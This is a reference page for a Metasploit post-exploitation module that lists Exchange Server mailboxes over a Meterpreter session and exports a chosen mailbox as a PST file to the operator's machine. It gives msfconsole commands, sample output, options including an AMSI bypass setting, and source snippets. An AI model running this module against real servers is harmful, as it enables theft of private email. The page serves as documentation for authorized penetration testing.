Windows Gather Exchange Server Mailboxes - Metasploit


This page contains detailed information about how to use the post/windows/gather/exchange metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

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Module Overview

Name: Windows Gather Exchange Server Mailboxes
Module: post/windows/gather/exchange
Source code: modules/post/windows/gather/exchange.rb
Disclosure date: -
Last modification time: 2021-10-06 13:43:31 +0000
Supported architecture(s): x86, x64
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module will gather information from an on-premise Exchange Server running on the target machine. Two actions are supported: LIST (default action): List basic information about all Exchange servers and mailboxes hosted on the target. EXPORT: Export and download a chosen mailbox in the form of a .PST file, with support for an optional filter keyword. For a list of valid filters, see https://docs.microsoft.com/en-us/exchange/filterable-properties-for-the-contentfilter-parameter The executing user has to be assigned to the "Organization Management" role group for the module to successfully run. Tested on Exchange Server 2010 on Windows Server 2012 R2 and Exchange Server 2016 on Windows Server 2016.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/windows/gather/exchange

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/windows/gather/exchange
msf post(exchange) > show options
    ... show and set options ...
msf post(exchange) > set SESSION session-id
msf post(exchange) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/windows/gather/exchange")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options

  • SESSION: The session to run this module on.

Knowledge Base

Vulnerable Application

This module will gather information from an on-premise Exchange Server running on the target machine.

Two actions are supported:

LIST (default action): List basic information about all Exchange servers and mailboxes hosted on the target.

EXPORT: Export and download a chosen mailbox in the form of a .PST file, with support for an optional filter keyword.

It requires that the effective Meterpreter session user be assigned to the "Organization Management" role group.

Verification Steps

  1. Start msfconsole
  2. Get meterpreter session on a Windows target running an Exchange Server
  3. Do: use post/windows/gather/exchange
  4. Do: set SESSION <session id>
  5. Do: run

Options

FILTER

Filter to use when exporting a mailbox.

See Microsoft documentation for valid values.

Unused for LIST action, optional for EXPORT action.

MAILBOX

Mailbox to export. Can be a mailbox's email address or display name.

Unused for LIST action, required for EXPORT action.

DownloadSizeThreshold

The file size of export results after which a prompt will appear to confirm the download, in MB.

Option takes a float number. Default value is 50.0.

SkipLargeDownloads

If set to true, automatically skip downloading export results that are larger than DownloadSizeThreshold (don't show prompt).

Set to false by default.

Extracted data

LIST action

For every server:

  • Server name
  • Server version
  • Server role
  • For every mailbox in server:
    • Mailbox display name
    • Mailbox email addresses
    • Mailbox creation date
    • Mailbox address list membership
    • For every folder in mailbox:
      • Folder Path
      • Items in folder
      • Folder size
      • Newest item received date

EXPORT action

.PST file with the chosen mailbox's mail items

Scenarios

Windows Server 2012 R2 with On-Premise Exchange Server 2010

msf6 exploit(multi/handler) > use post/windows/gather/exchange
msf6 post(windows/gather/exchange) > set SESSION 1
SESSION => 1
msf6 post(windows/gather/exchange) > run -a LIST

[+] Exchange Server is present on target machine
[+] PowerShell is present on target machine
[+] Listing reachable servers and mailboxes:
----------
Server:
- Name: WIN-49S7K9MJUAF
- Version: Version 14.3 (Build 123.4)
- Role: Mailbox, ClientAccess, HubTransport
-----
Mailboxes:
---
- Display Name: Administrator
- Email Addresses: SMTP:[email protected]
- Creation date: 12/02/2020 01:01:43
- Address list membership: \Mailboxes(VLV) \All Mailboxes(VLV) \All Recipients(VLV) \Default Global Address List \All Users
- (All folders are empty)
---

[...]

[*] Post module execution completed
msf6 post(windows/gather/exchange) > set MAILBOX "Administrator"
MAILBOX => Administrator
msf6 post(windows/gather/exchange) > run -a EXPORT

[+] Exchange Server is present on target machine
[+] PowerShell is present on target machine
[+] Exporting mailbox 'Administrator':
Exporting mailbox...
. Queued
. Queued
. Queued
. InProgress
. Completed
Exporting done
[*] Resulting export file size: 0.26 MB
[+] PST saved in: /home/user/.msf4/loot/20210309120402_default_192.168.1.70_PST_427036.pst
[*] Post module execution completed
msf6 post(windows/gather/exchange) >

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Msfconsole Usage

Here is how the windows/gather/exchange post exploitation module looks in the msfconsole:

msf6 > use post/windows/gather/exchange

msf6 post(windows/gather/exchange) > show info

       Name: Windows Gather Exchange Server Mailboxes
     Module: post/windows/gather/exchange
   Platform: Windows
       Arch: x86, x64
       Rank: Normal

Provided by:
  SophosLabs Offensive Security team

Compatible session types:
  Meterpreter

Available actions:
  Name    Description
  ----    -----------
  EXPORT  Export and download a chosen mailbox in the form of a .PST file, with support for an optional filter keyword
  LIST    List basic information about all Exchange servers and mailboxes hosted on the target

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  FILTER                    no        [for EXPORT] Filter to use when exporting a mailbox (see description)
  MAILBOX                   no        [for EXPORT, required] Mailbox to export
  SESSION                   yes       The session to run this module on.

Description:
  This module will gather information from an on-premise Exchange 
  Server running on the target machine. Two actions are supported: 
  LIST (default action): List basic information about all Exchange 
  servers and mailboxes hosted on the target. EXPORT: Export and 
  download a chosen mailbox in the form of a .PST file, with support 
  for an optional filter keyword. For a list of valid filters, see 
https://docs.microsoft.com/  en-us/exchange/filterable-properties-for-the-contentfilter-parameter 
  The executing user has to be assigned to the "Organization 
  Management" role group for the module to successfully run. Tested on 
  Exchange Server 2010 on Windows Server 2012 R2 and Exchange Server 
  2016 on Windows Server 2016.

References:
  https://github.com/sophoslabs/metasploit_gather_exchange
  https://news.sophos.com/en-us/2021/03/09/sophoslabs-offensive-security-releases-post-exploitation-tool-for-exchange/

Module Options

This is a complete list of options available in the windows/gather/exchange post exploitation module:

msf6 post(windows/gather/exchange) > show options

Module options (post/windows/gather/exchange):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   FILTER                    no        [for EXPORT] Filter to use when exporting a mailbox (see description)
   MAILBOX                   no        [for EXPORT, required] Mailbox to export
   SESSION                   yes       The session to run this module on.

Post action:

   Name  Description
   ----  -----------
   LIST  List basic information about all Exchange servers and mailboxes hosted on the target

Advanced Options

Here is a complete list of advanced options supported by the windows/gather/exchange post exploitation module:

msf6 post(windows/gather/exchange) > show advanced

Module advanced options (post/windows/gather/exchange):

   Name                                    Current Setting  Required  Description
   ----                                    ---------------  --------  -----------
   DownloadSizeThreshold                   50.0             yes       The file size of export results after which a prompt will appear to confirm the download, in MB (0 for no threshold)
   Powershell::Post::dry_run               false            yes       Return encoded output to caller
   Powershell::Post::force_wow64           false            yes       Force WOW64 execution
   Powershell::Post::log_output            false            yes       Write output to log file
   Powershell::Post::timeout               15               yes       Powershell execution timeout, set < 0 to run async without termination
   Powershell::encode_final_payload        false            yes       Encode final payload for -EncodedCommand
   Powershell::encode_inner_payload        false            yes       Encode inner payload for -EncodedCommand
   Powershell::exec_in_place               false            yes       Produce PSH without executable wrapper
   Powershell::exec_rc4                    false            yes       Encrypt PSH with RC4
   Powershell::method                      reflection       yes       Payload delivery method (Accepted: net, reflection, old, msil)
   Powershell::no_equals                   false            yes       Pad base64 until no "=" remains
   Powershell::noninteractive              true             yes       Execute powershell without interaction
   Powershell::persist                     false            yes       Run the payload in a loop
   Powershell::prepend_protections_bypass  true             yes       Prepend AMSI/SBL bypass
   Powershell::prepend_sleep                                no        Prepend seconds of sleep
   Powershell::remove_comspec              false            yes       Produce script calling powershell directly
   Powershell::strip_comments              true             yes       Strip comments
   Powershell::strip_whitespace            false            yes       Strip whitespace
   Powershell::sub_funcs                   false            yes       Substitute function names
   Powershell::sub_vars                    true             yes       Substitute variable names
   Powershell::wrap_double_quotes          true             yes       Wraps the -Command argument in single quotes
   SkipLargeDownloads                      false            yes       Automatically skip downloading export results that are larger than DownloadSizeThreshold (don't show prompt)
   TIMEOUT                                 600              yes       The maximum time (in seconds) to wait for any Powershell scripts to complete
   VERBOSE                                 false            no        Enable detailed status messages
   WORKSPACE                                                no        Specify the workspace for this module

Post Actions

This is a list of all post exploitation actions which the windows/gather/exchange module can do:

msf6 post(windows/gather/exchange) > show actions

Post actions:

   Name    Description
   ----    -----------
   EXPORT  Export and download a chosen mailbox in the form of a .PST file, with support for an optional filter keyword
   LIST    List basic information about all Exchange servers and mailboxes hosted on the target

Evasion Options

Here is the full list of possible evasion options supported by the windows/gather/exchange post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(windows/gather/exchange) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Export file not created on target machine. Aborting.

Here is a relevant code snippet related to the "Export file not created on target machine. Aborting." error message:

105:	    execute_exchange_script('Assign-Roles')
106:	    execute_exchange_script("Export-Mailboxes \"#{mailbox}\" \"#{filter}\" \"#{temp_save_path}\"")
107:	
108:	    # After script is done executing, check if the export save path exists on the target
109:	    if !file_exist?(temp_save_path)
110:	      print_error('Export file not created on target machine. Aborting.')
111:	      return
112:	    end
113:	
114:	    # Get the size of the newly made export file
115:	    stat = session.fs.file.stat(temp_save_path)

The resulting export file is larger than current threshold (<DOWNLOADSIZETHRESHOLD> MB)

Here is a relevant code snippet related to the "The resulting export file is larger than current threshold (<DOWNLOADSIZETHRESHOLD> MB)" error message:

114:	    # Get the size of the newly made export file
115:	    stat = session.fs.file.stat(temp_save_path)
116:	    mb_size = (stat.stathash['st_size'] / 1024.0 / 1024.0).round(2)
117:	    print_status("Resulting export file size: #{mb_size} MB")
118:	    if datastore['DownloadSizeThreshold'] > 0 && mb_size > datastore['DownloadSizeThreshold']
119:	      print_warning("The resulting export file is larger than current threshold (#{datastore['DownloadSizeThreshold']} MB)")
120:	      print_warning('You can reduce the size of the export file by using the FILTER option to refine the amount of exported mail items.')
121:	
122:	      if datastore['SkipLargeDownloads'] || !user_confirms_download?
123:	        print_error('Not downloading oversized export file.')
124:	        rm_f(temp_save_path)

You can reduce the size of the export file by using the FILTER option to refine the amount of exported mail items.

Here is a relevant code snippet related to the "You can reduce the size of the export file by using the FILTER option to refine the amount of exported mail items." error message:

115:	    stat = session.fs.file.stat(temp_save_path)
116:	    mb_size = (stat.stathash['st_size'] / 1024.0 / 1024.0).round(2)
117:	    print_status("Resulting export file size: #{mb_size} MB")
118:	    if datastore['DownloadSizeThreshold'] > 0 && mb_size > datastore['DownloadSizeThreshold']
119:	      print_warning("The resulting export file is larger than current threshold (#{datastore['DownloadSizeThreshold']} MB)")
120:	      print_warning('You can reduce the size of the export file by using the FILTER option to refine the amount of exported mail items.')
121:	
122:	      if datastore['SkipLargeDownloads'] || !user_confirms_download?
123:	        print_error('Not downloading oversized export file.')
124:	        rm_f(temp_save_path)
125:	        return

Not downloading oversized export file.

Here is a relevant code snippet related to the "Not downloading oversized export file." error message:

118:	    if datastore['DownloadSizeThreshold'] > 0 && mb_size > datastore['DownloadSizeThreshold']
119:	      print_warning("The resulting export file is larger than current threshold (#{datastore['DownloadSizeThreshold']} MB)")
120:	      print_warning('You can reduce the size of the export file by using the FILTER option to refine the amount of exported mail items.')
121:	
122:	      if datastore['SkipLargeDownloads'] || !user_confirms_download?
123:	        print_error('Not downloading oversized export file.')
124:	        rm_f(temp_save_path)
125:	        return
126:	      end
127:	    end
128:

Exchange Server is not present on target machine

Here is a relevant code snippet related to the "Exchange Server is not present on target machine" error message:

141:	  def run
142:	    # Check if Exchange Server is installed on the target by checking the registry
143:	    if registry_key_exist?('HKLM\Software\Microsoft\ExchangeServer')
144:	      print_good('Exchange Server is present on target machine')
145:	    else
146:	      fail_with(Failure::Unknown, 'Exchange Server is not present on target machine')
147:	    end
148:	
149:	    # Check if PowerShell is installed on the target
150:	    if have_powershell?
151:	      print_good('PowerShell is present on target machine')

PowerShell is not present on target machine

Here is a relevant code snippet related to the "PowerShell is not present on target machine" error message:

148:	
149:	    # Check if PowerShell is installed on the target
150:	    if have_powershell?
151:	      print_good('PowerShell is present on target machine')
152:	    else
153:	      fail_with(Failure::Unknown, 'PowerShell is not present on target machine')
154:	    end
155:	
156:	    mailbox = datastore['MAILBOX']
157:	    filter = datastore['FILTER']
158:

Option MAILBOX is required for action EXPORT

Here is a relevant code snippet related to the "Option MAILBOX is required for action EXPORT" error message:

160:	    when 'LIST'
161:	      print_good('Listing reachable servers and mailboxes: ')
162:	      list_mailboxes
163:	    when 'EXPORT'
164:	      if mailbox.nil? || mailbox.empty?
165:	        fail_with(Failure::BadConfig, 'Option MAILBOX is required for action EXPORT')
166:	      else
167:	        print_good("Exporting mailbox '#{mailbox}': ")
168:	        export_mailboxes(mailbox, filter)
169:	      end
170:	    else

Unknown action: <ACTION.NAME>

Here is a relevant code snippet related to the "Unknown action: <ACTION.NAME>" error message:

164:	      if mailbox.nil? || mailbox.empty?
165:	        fail_with(Failure::BadConfig, 'Option MAILBOX is required for action EXPORT')
166:	      else
167:	        print_good("Exporting mailbox '#{mailbox}': ")
168:	        export_mailboxes(mailbox, filter)
169:	      end
170:	    else
171:	      print_error("Unknown action: #{action.name}")
172:	    end
173:	  end
174:	end

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References

See Also

Check also the following modules related to this module:

Authors

  • SophosLabs Offensive Security team

Version

This page has been produced using Metasploit Framework version 6.2.1-dev. For more modules, visit the Metasploit Module Library.

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